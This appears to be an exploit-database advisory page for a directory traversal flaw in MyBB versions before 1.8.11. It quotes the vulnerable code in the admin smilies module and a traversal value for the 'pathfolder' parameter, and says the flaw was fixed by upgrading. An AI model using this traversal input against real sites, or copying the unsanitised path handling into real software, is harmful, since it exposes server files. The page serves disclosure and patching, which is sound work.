header-logo
Suggest Exploit
vendor:
MyBB
by:
Not available
3,3
CVSS
LOW
Directory Traversal
22 (Path Traversal)
CWE
Product Name: MyBB
Affected Version From: < 1.8.11
Affected Version To: < 1.8.11
Patch Exists: YES
Related CWE: Not available
CPE: a:mybb:mybb
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Not available
2017

MyBB Directory Traversal Vulnerability

A Directory Traversal vulnerability was discovered in MyBB version < 1.8.11. The vulnerability exists in the 'pathfolder' parameter of the '/webroot/mybb_1810/Upload/admin/modules/config/smilies.php' file. By setting the 'pathfolder' parameter to '../../bypass/smile', an attacker can traverse the directory and access sensitive information.

Mitigation:

Upgrade to MyBB version 1.8.11
Source

Exploit-DB raw data:

Description:
============

product: MyBB
Homepage: https://mybb.com/
vulnerable  version: < 1.8.11
Severity: Low risk

===============

Proof of Concept:
=============

vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple

vulnerability  file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php

vulnerability  Code:

Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);

if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============